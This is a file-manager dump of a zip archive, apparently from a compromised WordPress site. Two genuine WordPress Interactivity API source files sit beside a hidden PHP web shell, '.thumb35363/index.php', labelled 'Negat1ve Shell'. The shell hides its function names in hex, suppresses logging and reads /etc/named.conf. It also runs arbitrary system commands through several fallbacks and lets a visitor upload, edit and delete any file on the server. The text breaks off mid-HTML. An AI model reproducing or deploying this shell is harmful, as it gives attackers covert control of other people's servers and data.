File manager - Edit - /home/rootabc/vanlog.squareroot.co.za/wp-includes/Text/interactivity-api.zip
Back
PK 0C�[Ŵ � � interactivity-api.phpnu �[��� <?php /** * Interactivity API: Functions and hooks * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Retrieves the main WP_Interactivity_API instance. * * It provides access to the WP_Interactivity_API instance, creating one if it * doesn't exist yet. * * @since 6.5.0 * * @global WP_Interactivity_API $wp_interactivity * * @return WP_Interactivity_API The main WP_Interactivity_API instance. */ function wp_interactivity(): WP_Interactivity_API { global $wp_interactivity; if ( ! ( $wp_interactivity instanceof WP_Interactivity_API ) ) { $wp_interactivity = new WP_Interactivity_API(); } return $wp_interactivity; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ function wp_interactivity_process_directives( string $html ): string { return wp_interactivity()->process_directives( $html ); } /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * The namespace can be omitted inside derived state getters, using the * namespace where the getter is defined. * * @since 6.5.0 * @since 6.6.0 The namespace can be omitted when called inside derived state getters. * * @param string $store_namespace The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The state for the specified store namespace. This will be the updated state if a $state argument was * provided. */ function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array { return wp_interactivity()->state( $store_namespace, $state ); } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ function wp_interactivity_config( string $store_namespace, array $config = array() ): array { return wp_interactivity()->config( $store_namespace, $config ); } /** * Generates a `data-wp-context` directive attribute by encoding a context * array. * * This helper function simplifies the creation of `data-wp-context` directives * by providing a way to pass an array of data, which encodes into a JSON string * safe for direct use as a HTML attribute value. * * Example: * * <div <?php echo wp_interactivity_data_wp_context( array( 'isOpen' => true, 'count' => 0 ) ); ?>> * * @since 6.5.0 * * @param array $context The array of context data to encode. * @param string $store_namespace Optional. The unique store namespace identifier. * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and * the store namespace if specified. */ function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string { return 'data-wp-context=\'' . ( $store_namespace ? $store_namespace . '::' : '' ) . ( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) . '\''; } /** * Gets the current Interactivity API context for a given namespace. * * The function should be used only during directive processing. If the * `$store_namespace` parameter is omitted, it uses the current namespace value * on the internal namespace stack. * * It returns an empty array when the specified namespace is not defined. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. * @return array The context for the specified store namespace. */ function wp_interactivity_get_context( ?string $store_namespace = null ): array { return wp_interactivity()->get_context( $store_namespace ); } /** * Returns an array representation of the current element being processed. * * The function should be used only during directive processing. * * @since 6.7.0 * * @return array{attributes: array<string, string|bool>}|null Current element. */ function wp_interactivity_get_element(): ?array { return wp_interactivity()->get_element(); } PK 0C�[�Dt"? ? 3 class-wp-interactivity-api-directives-processor.phpnu �[��� <?php /** * Interactivity API: WP_Interactivity_API_Directives_Processor class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Class used to iterate over the tags of an HTML string and help process the * directive attributes. * * @since 6.5.0 * * @access private */ final class WP_Interactivity_API_Directives_Processor extends WP_HTML_Tag_Processor { /** * List of tags whose closer tag is not visited by the WP_HTML_Tag_Processor. * * @since 6.5.0 * @var string[] */ const TAGS_THAT_DONT_VISIT_CLOSER_TAG = array( 'SCRIPT', 'IFRAME', 'NOEMBED', 'NOFRAMES', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', ); /** * Returns the content between two balanced template tags. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @since 6.5.0 * * @access private * * @return string|null The content between the current opener template tag and its matching closer tag or null if it * doesn't find the matching closing tag or the current tag is not a template opener tag. */ public function get_content_between_balanced_template_tags() { if ( 'TEMPLATE' !== $this->get_tag() ) { return null; } $positions = $this->get_after_opener_tag_and_before_closer_tag_positions(); if ( ! $positions ) { return null; } list( $after_opener_tag, $before_closer_tag ) = $positions; return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag ); } /** * Sets the content between two balanced tags. * * @since 6.5.0 * * @access private * * @param string $new_content The string to replace the content between the matching tags. * @return bool Whether the content was successfully replaced. */ public function set_content_between_balanced_tags( string $new_content ): bool { $positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true ); if ( ! $positions ) { return false; } list( $after_opener_tag, $before_closer_tag ) = $positions; $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_opener_tag, $before_closer_tag - $after_opener_tag, esc_html( $new_content ) ); return true; } /** * Appends content after the closing tag of a template tag. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @access private * * @param string $new_content The string to append after the closing template tag. * @return bool Whether the content was successfully appended. */ public function append_content_after_template_tag_closer( string $new_content ): bool { if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) { return false; } // Flushes any changes. $this->get_updated_html(); $bookmark = 'append_content_after_template_tag_closer'; $this->set_bookmark( $bookmark ); $after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length; $this->release_bookmark( $bookmark ); // Appends the new content. $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content ); return true; } /** * Gets the positions right after the opener tag and right before the closer * tag in a balanced tag. * * By default, it positions the cursor in the closer tag of the balanced tag. * If $rewind is true, it seeks back to the opener tag. * * @since 6.5.0 * * @access private * * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false. * @return array|null Start and end byte position, or null when no balanced tag bookmarks. */ private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) { // Flushes any changes. $this->get_updated_html(); $bookmarks = $this->get_balanced_tag_bookmarks(); if ( ! $bookmarks ) { return null; } list( $opener_tag, $closer_tag ) = $bookmarks; $after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length; $before_closer_tag = $this->bookmarks[ $closer_tag ]->start; if ( $rewind ) { $this->seek( $opener_tag ); } $this->release_bookmark( $opener_tag ); $this->release_bookmark( $closer_tag ); return array( $after_opener_tag, $before_closer_tag ); } /** * Returns a pair of bookmarks for the current opener tag and the matching * closer tag. * * It positions the cursor in the closer tag of the balanced tag, if it * exists. * * @since 6.5.0 * * @return array|null A pair of bookmarks, or null if there's no matching closing tag. */ private function get_balanced_tag_bookmarks() { static $i = 0; $opener_tag = 'opener_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $opener_tag ); if ( ! $this->next_balanced_tag_closer_tag() ) { $this->release_bookmark( $opener_tag ); return null; } $closer_tag = 'closer_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $closer_tag ); return array( $opener_tag, $closer_tag ); } /** * Skips processing the content between tags. * * It positions the cursor in the closer tag of the foreign element, if it * exists. * * This function is intended to skip processing SVG and MathML inner content * instead of bailing out the whole processing. * * @since 6.5.0 * * @access private * * @return bool Whether the foreign content was successfully skipped. */ public function skip_to_tag_closer(): bool { $depth = 1; $tag_name = $this->get_tag(); while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) { if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag. */ $message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } if ( $this->get_tag() === $tag_name ) { if ( $this->has_self_closing_flag() ) { continue; } $depth += $this->is_tag_closer() ? -1 : 1; } } return 0 === $depth; } /** * Finds the matching closing tag for an opening tag. * * When called while the processor is on an open tag, it traverses the HTML * until it finds the matching closer tag, respecting any in-between content, * including nested tags of the same name. Returns false when called on a * closer tag, a tag that doesn't have a closer tag (void), a tag that * doesn't visit the closer tag, or if no matching closing tag was found. * * @since 6.5.0 * * @access private * * @return bool Whether a matching closing tag was found. */ public function next_balanced_tag_closer_tag(): bool { $depth = 0; $tag_name = $this->get_tag(); if ( ! $this->has_and_visits_its_closer_tag() ) { return false; } while ( $this->next_tag( array( 'tag_name' => $tag_name, 'tag_closers' => 'visit', ) ) ) { if ( ! $this->is_tag_closer() ) { ++$depth; continue; } if ( 0 === $depth ) { return true; } --$depth; } return false; } /** * Checks whether the current tag has and will visit its matching closer tag. * * @since 6.5.0 * * @access private * * @return bool Whether the current tag has a closer tag. */ public function has_and_visits_its_closer_tag(): bool { $tag_name = $this->get_tag(); return null !== $tag_name && ( ! WP_HTML_Processor::is_void( $tag_name ) && ! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true ) ); } } PK 0C�[�/P��} �} .thumb35363/index.phpnu �[��� hmei7 <?php $shellName = 'Negat1ve Shell'; $logo = 'https://static.wikia.nocookie.net/central/images/1/12/Pacman2.jpg'; $func = ["7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65", "7363616e646972", "73797374656d", "65786563", "7061737374687275", "7368656c6c5f65786563", "6f625f6765745f636f6e74656e7473", "6f625f656e645f636c65616e", "6469726e616d65", "6469736b5f746f74616c5f7370616365", "6469736b5f667265655f7370616365", "696e695f676574", "707265675f6d617463685f616c6c", "706f7369785f6765747077756964", "706f7369785f6765746772676964", "70617468696e666f", "66696c656f776e6572", "66696c6567726f7570", "66696c6574797065", "676574486f73744e616d65", "676574486f737442794e616d65", "737562737472", "737472737472", "696e695f736574", "66696c65", "7374725f7265706c616365", "6578706c6f6465", "6576616c", "6f625f7374617274", "66756e6374696f6e5f657869737473", "6572726f725f7265706f7274696e67", "7365745f74696d655f6c696d6974", "636c656172737461746361636865", "646174655f64656661756c745f74696d657a6f6e655f736574", "666c757368", "7374726c656e", "7472696d", "656d707479", "6973736574", "66696c657065726d73", "7374726c656e", "636f756e74", "726f756e64", "6d696d655f636f6e74656e745f74797065", "6765745f63757272656e745f75736572", "6765746d79756964", "6765746d79676964", "706f7369785f67657465756964", "706f7369785f67657465676964"]; for ($i = 0; $i < count($func); $i++) { $func[$i] = dehex($func[$i]); } session_start(); $func[50](0); @$func[51](0); @$func[52](); @$func[43]('error_log', null); @$func[43]('log_errors',0); @$func[43]('max_execution_time',0); @$func[43]('output_buffering',0); @$func[43]('display_errors', 0); $func[53]("Asia/Jakarta"); if (isset($_GET['dir'])) { $dir = $_GET['dir']; $func[3]($dir); } else { $dir = $func[2](); } $d0mains = @$func[44]("/etc/named.conf", false); if (!$d0mains) { $dom = "<font class='text-danger'>Can't Read /etc/named.conf</font>"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@$func[43]($d0main, "zone")) { $func[32]('#zone "(.*)"#', $d0main, $domains); $func[54](); if ($func[55]($func[56]($domains[1][0])) > 2){ $func[54](); $count++; } } } $dom = "<font class='text-success'>$count Domain</font>"; } $dir = $func[45]("\\", "/", $dir); $scdir = $func[46]("/", $dir); $total = $func[29]($dir); $free = $func[30]($dir); $pers = (int) ($free / $total * 100); $ds = @$func[31]("disable_functions"); $show_ds = (!empty($ds)) ? "<font class='text-danger'>$ds</font>" : "<font class='text-success'>All function is accessible</font>"; $cmd_uname = exe("uname -a"); $uname = $func[49]('php_uname') ? $func[41](@$func[0](), 0, 120) : ($func[55]($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !'); if (strtolower($func[41](PHP_OS, 0, 3)) == "win") { $sys = "win"; } else { $sys = "unix"; } if (isset($_GET['do'])) { $do = $_GET['do']; if ($do == 'delete') { if ($func[12]($dir)) { if (deleter($dir)) { flash("File/Folder deleted successfully!", "Success", "success", "?dir=" . dirname($dir)); } else { flash("File/Folder failed to delete!", "Failed", "danger"); } } else { flash("File/Folder is doesn't exist!", "Failed", "warning"); } } else if ($do == 'download') { if ($func[12]($dir)) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $func[10]($dir)); header("Content-disposition: attachment; filename=\"".basename($dir)."\""); } else { flash("File is doesn't exist!", "Failed", "warning"); } } } else { $do = 'filesman'; $title = 'Files Manager'; $icon = 'archive'; } ((isset($_POST["foldername"])) ? ($func[12]("$dir/{$_POST['foldername']}") ? flash("Folder name is exist!", "Failed", "warning") : ($func[15]("$dir/{$_POST['foldername']}") ? flash("Folder created successfully!", "Success", "success") : flash("Folder failed to create!", "Failed", "danger"))) : null); ((isset($_POST["filename"]) && isset($_POST['filecontent'])) ? ($func[12]("$dir/{$_POST['filename']}") ? flash("File name is exist!", "Failed", "warning") : ($func[13]("$dir/{$_POST['filename']}", $_POST['filecontent']) ? flash("File created successfully!", "Success", "success") : flash("File failed to create!", "Failed", "danger"))) : null); ((isset($_POST["newname"]) && isset($_POST['oldname'])) ? ($func[12]("$dir/{$_POST['newname']}") ? flash("File/Folder name is exist!", "Failed", "warning") : ($func[16]("$dir/{$_POST['oldname']}", $_POST['newname']) ? flash("File/Folder renamed successfully!", "Success", "success") : flash("File/Folder failed to rename!", "Failed", "danger"))) : null); ((isset($_POST["filename"]) && isset($_POST['content'])) ? ($func[13]("$dir/{$_POST['filename']}", $_POST['content']) ? flash("File saved successfully!", "Success", "success") : flash("File failed to save!", "Failed", "danger")) : null); if (isset($_FILES["uploadfile"])) { $n = $_FILES["uploadfile"]["name"]; for ($i = 0; $i < count($n); $i++) { if ($func[11]($_FILES["uploadfile"]["tmp_name"][$i], $n[$i])) { flash("File uploaded successfully!", "Success", "success"); } else { flash("File failed to upload!", "Failed", "danger"); } } } if (@$func[31]('open_basedir')) { $basedir_data = @$func[31]('open_basedir'); if ($func[55]($basedir_data) > 120){ $open_b = "<font class='text-success'>" . $func[41]($basedir_data, 0, 120) . "...</font>"; } else { $open_b = '<font class="text-success">' . $basedir_data . '</font>'; } } else { $open_b = '<font class="text-warning">NONE</font>'; } if (!$func[49]('posix_getegid')) { $user = $func[49]("get_current_user") ? @$func[64]() : "????"; $uid = $func[49]("getmyuid") ? @$func[65]() : "????"; $gid = $func[49]("getmygid") ? @$func[66]() : "????"; $group = "?"; } else { $uid = $func[49]("posix_getpwuid") && $func[49]("posix_geteuid") ? @$func[33]($func[67]()) : ["name" => "????", "uid" => "????"]; $gid = $func[49]("posix_getgrgid") && $func[49]("posix_getegid") ? @$func[34]($func[68]()) : ["name" => "????", "gid" => "????"]; $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } if ($sys == 'unix') { if (!@$func[31]('safe_mode')) { if ($func[55](exe("id")) > 0) { $userful = ['gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl']; $x = 0; foreach ($userful as $i) { if (which($i)) { $x++; $useful .= $i . ', '; } } if ($x == 0) { $useful = '--------'; } $downloaders = ['wget','fetch','lynx','links','curl','get','lwp-mirror']; $x = 0; foreach($downloaders as $i) { if (which($i)) { $x++; $downloader .= $i . ', '; } } if ($x == 0) { $downloader = '--------'; } } } } function hex($str) { global $func; $r = ""; for ($i = 0; $i < $func[55]($str); $i++) { $r .= dechex(ord($str[$i])); } return $r; } function dehex($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function formatSize($bytes) { $types = array( 'B', 'KB', 'MB', 'GB', 'TB' ); for ( $i = 0; $bytes >= 1024 && $i < ( count( $types ) - 1 ); $bytes /= 1024, $i++ ); return( round( $bytes, 2 )." ".$types[$i] ); } function perms($file) { global $func; $perms = fileperms($file); if (($perms & 0xC000) == 0xC000){ $info = 's'; }elseif (($perms & 0xA000) == 0xA000){ $info = 'l'; }elseif (($perms & 0x8000) == 0x8000){ $info = '-'; }elseif (($perms & 0x6000) == 0x6000){ $info = 'b'; }elseif (($perms & 0x4000) == 0x4000){ $info = 'd'; }elseif (($perms & 0x2000) == 0x2000){ $info = 'c'; }elseif (($perms & 0x1000) == 0x1000){ $info = 'p'; }else{ $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $func[41](sprintf('%o', $perms), -4) . ' >> ' .$info; } function exe($in) { global $func; $out = ''; try { if ($func[49]('exec')) { @$func[23]($in, $out); $out = @join("\n", $out); } elseif ($func[49]('passthru')) { $func[48](); @passthru($in); $out = $func[27](); } elseif($func[49]('system')) { $func[48](); @system($in); $out = $func[27](); } elseif ($func[49]('shell_exec')) { $out = $func[25]($in); } elseif ($func[49]("popen") && $func[49]("pclose")) { if (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f, 1024); pclose($f); } } elseif ($func[49]('proc_open')) { $pipes = []; $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null); $out = @stream_get_contents($pipes[1]); } elseif (class_exists('COM')) { $ws = new COM('WScript.shell'); $exec = $ws->exec('cmd.exe /c '.$in); $stdout = $exec->StdOut(); $out = $stdout->ReadAll(); } } catch(Exception $e) {} return $out; } function checkName($name) { global $func; if ($func[55]($name) > 18) { return $func[41]($name, 0, 18) . "..."; } return $name; } function checkPerm($dir, $perm) { global $func; $perm = explode('>>', $perm); if ($func[8]($dir)) { return "<font class='text-success'>".$perm[0]."</font> >> <font class='text-success'>".$perm[1]."</font>"; } elseif (!$func[9]($dir)) { return "<font class='text-danger'>".$perm[0]."</font> >> <font class='text-danger'>".$perm[1]."</font>"; } else { return "<font class='text-secondary'>".$perm[0]."</font> >> <font class='text-secondary'>".$perm[1]."</font>"; } } function getowner($item) { global $func; if ($func[49]("posix_getpwuid")) { $downer = @$func[33](fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if ($func[49]("posix_getgrgid")) { $dgrp = @$func[34](filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } function geticon($file) { global $func; $ext = strtolower($func[35]($file, PATHINFO_EXTENSION)); if ($ext == 'php' || $ext == 'html' || $ext == 'js' || $ext == 'css' || $ext == 'py' || $ext == 'perl' || $ext == 'sh') { return 'file-code'; } else if ($ext == 'pdf') { return 'file-pdf'; } else if ($ext == 'txt') { return 'file-alt'; } else if ($ext == 'csv') { return 'file-csv'; } else if ($ext == 'jpg' || $ext == 'png' || $ext == 'jpeg' || $ext == 'gif') { return 'file-image'; } else if ($ext == 'mp4' || $ext == '3gp' || $ext == 'mkv') { return 'file-video'; } else if ($ext == 'docx' || $ext == 'doc' || $ext == 'docm') { return 'file-word'; } else if ($ext == 'ppt' || $ext == 'pptx') { return 'file-powerpoint'; } else if ($ext == 'xlsx' || $ext == 'xlsb' || $ext == 'xlsm' || $ext == 'xltx' || $ext == 'xltm') { return 'file-excel'; } else if ($ext == 'mp3' || $ext == 'wav') { return 'file-audio'; } else if ($ext == 'sql' || $ext == 'db') { return 'database'; } else if ($ext == 'zip' || $ext == 'tar' || $ext == 'gz' || $ext == 'tar.gz' || $ext == '7z' || $ext == 'bz2') { return 'file-archive'; } else { return 'file'; } } function which($p) { global $func; $path = exe('which ' . $p); if (!empty($path)) { return $func[55]($path); } return false; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } function deleter($d) { global $func; if (trim($func[35]($d, PATHINFO_BASENAME), '.') === '') { return false; }; if ($func[6]($d)) { array_map("deleter", glob($d . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($d); return true; } else { unlink($d); return true; } return false; } $scandir = $func[21]($dir); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <title><?= $shellName ?></title> </head> <body> <div class="container-lg"> <nav class="navbar navbar-light bg-light"> <div class="container-fluid"> <a class="navbar-brand" href="?"> <img src="<?= $logo ?>" alt="logo" width="30" height="24" class="d-inline-block align-text-top"> <?= $shellName ?> </a> </div> </nav> <?php if (isset($_SESSION['message'])) : ?> <div class="alert alert-<?= $_SESSION['class'] ?> alert-dismissible fade show my-3" role="alert"> <strong><?= $_SESSION['status'] ?>!</strong> <?= $_SESSION['message'] ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; clear(); ?> <div id="tool"> <div class="d-flex justify-content-center flex-wrap my-3"> <a href="?" class="m-1 btn btn-outline-dark btn-sm"><i class="fa fa-home"></i> Home</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#upload" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfile" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-file-plus"></i> New File</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfolder" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-folder-plus"></i> New Folder</a> </div> <div class="row"> <div class="col-md-12"> <div class="collapse" id="upload" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post" enctype="multipart/form-data"> <div class="input-group"> <input type="file" class="form-control" name="uploadfile[]" id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload"> <button class="btn btn-outline-dark" type="submit" id="inputGroupFileAddon04">Upload</button> </div> </form> </div> </div> </div> </div> </div> <div class="col-md-12"> <div class="collapse" id="newfile" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post"> <div class="mb-3"> <label class="form-label">File Name</label> <input type="text" class="form-control" name="filename" placeholder="negat1ve.txt"> </div> <div class="mb-3"> <label class="form-label">File Content</label> <textarea class="form-control" rows="5" name="filecontent"></textarea> </div> <button type="submit" class="btn btn-outline-dark">Create</button> </form> </div> </div> </div> </div> </div> <div class="col-md-12"> <div class="collapse" id="newfolder" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post"> <div class="mb-3"> <label class="form-label">Folder Name</label> <input type="text" class="form-control" name="foldername" placeholder="negat1ve"> </div> <button type="submit" class="btn btn-outline-dark">Create</button> </form> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="card border-dark"> <div class="card-body"> <h5><i class="fas fa-angry"></i> Server Information </h5> <div class="table-responsive"> <table class="table table-hover text-nowrap"> <tr> <td>Operating System</td> <td> : <?= $uname ?></td> </tr> <tr> <td>PHP Version</td> <td> : <?= $func[1]() ?></td> </tr> <tr> <td>Storage</td> <td class="d-flex">: Total = <?= formatSize($total) ?>, Free = <?= formatSize($free) ?> [<?= $pers ?>%]</td> </tr> <tr> <td>Disable Functions</td> <td>: <?= $show_ds ?></td> </tr> <tr> <td colspan="2">CURL : <?= $func[49]('curl_version') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | SSH2 : <?= $func[49]('ssh2_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Magic Quotes : <?= $func[49]('get_magic_quotes_gpc') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MySQL : <?= $func[49]('mysql_get_client_info') || class_exists('mysqli') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MSSQL : <?= $func[49]('mssql_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | PostgreSQL : <?= $func[49]('pg_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Oracle : <?= $func[49]('oci_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?></td> </tr> <tr> <td colspan="2">Safe Mode : <?= @$func[31]('safe_mode') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Open Basedir : <?= $open_b ?> | Safe Mode Exec Dir : <?= @$func[31]('safe_mode_exec_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_exec_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?> | Safe Mode Include Dir : <?= @$func[31]('safe_mode_include_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_include_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?></td> </tr> </table> </div> </div> </div> </div> <div class="col-md-12 my-3"> <div class="card border-dark"> <div class="card-body"> <h5><i class="fas fa-angry"></i> Path </h5> <nav aria-label="breadcrumb" style="--bs-breadcrumb-divider: '>';"> <ol class="breadcrumb"> <?php $numDir = count($scdir); foreach ($scdir as $id => $pat) { if ($pat == '' && $id == 0) { echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=/">/</a></li>'; continue; } if ($pat == '') continue; if ($id + 1 == $numDir) { echo '<li class="breadcrumb-item active" aria-current="page">'.$pat.'</li>'; } else { echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir='; for ($i = 0; $i <= $id; $i++) { echo "$scdir[$i]"; if ($i != $id) echo "/"; } echo '">'.$pat.'</a></li>'; } } ?> </ol> </nav> [ <?= checkPerm($dir, perms($dir)) ?> ] </div> </div> </div> <div class="col-md-12" id="main"> <div class="card border-dark overflow-auto"> <div class="card-body"> <h5><i class="fa fa-<?= $icon ?>"></i> <?= $title ?></h5> <?php if ($do == 'view') : ?> <h1>Anjing</h1> <?php else: ?> <?php if ($func[9]($dir)) : ?> <div class="table-responsive"> <table class="table table-hover text-nowrap"> <thead> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Last Modified</th> <th>Owner/Group</th> <th>Permission</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($scandir as $item) : if (!$func[6]($dir . '/' . $item)) continue; ?> <tr> <td> <?php if ($item === '..') : ?> <a href="?dir=<?= $func[28]($dir); ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a> <?php elseif ($item === '.') : ?> <a href="?dir=<?= $dir; ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a> <?php else : ?> <a href="?dir=<?= $dir . '/' . $item ?>" class="text-decoration-none text-dark"><i class="fa fa-folder"></i> <?= checkName($item); ?></a> <?php endif; ?> </td> <td><?= $func[38]($item) ?></td> <td class="align-middle">--</td> <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td> <td><?= getowner($item) ?></td> <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item)) ?></td> <td> <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="'.$item.'"' ?>><i class="fa fa-edit"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="'.$dir . '/' . $item.'"'?>><i class="fa fa-trash-alt"></i></button> </td> </tr> <?php endforeach; ?> <?php foreach ($scandir as $item) : if (!$func[7]($dir . '/' . $item)) continue; ?> <tr> <td><a data-bs-toggle="modal" href="#viewModal" role="button" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>" class="text-dark 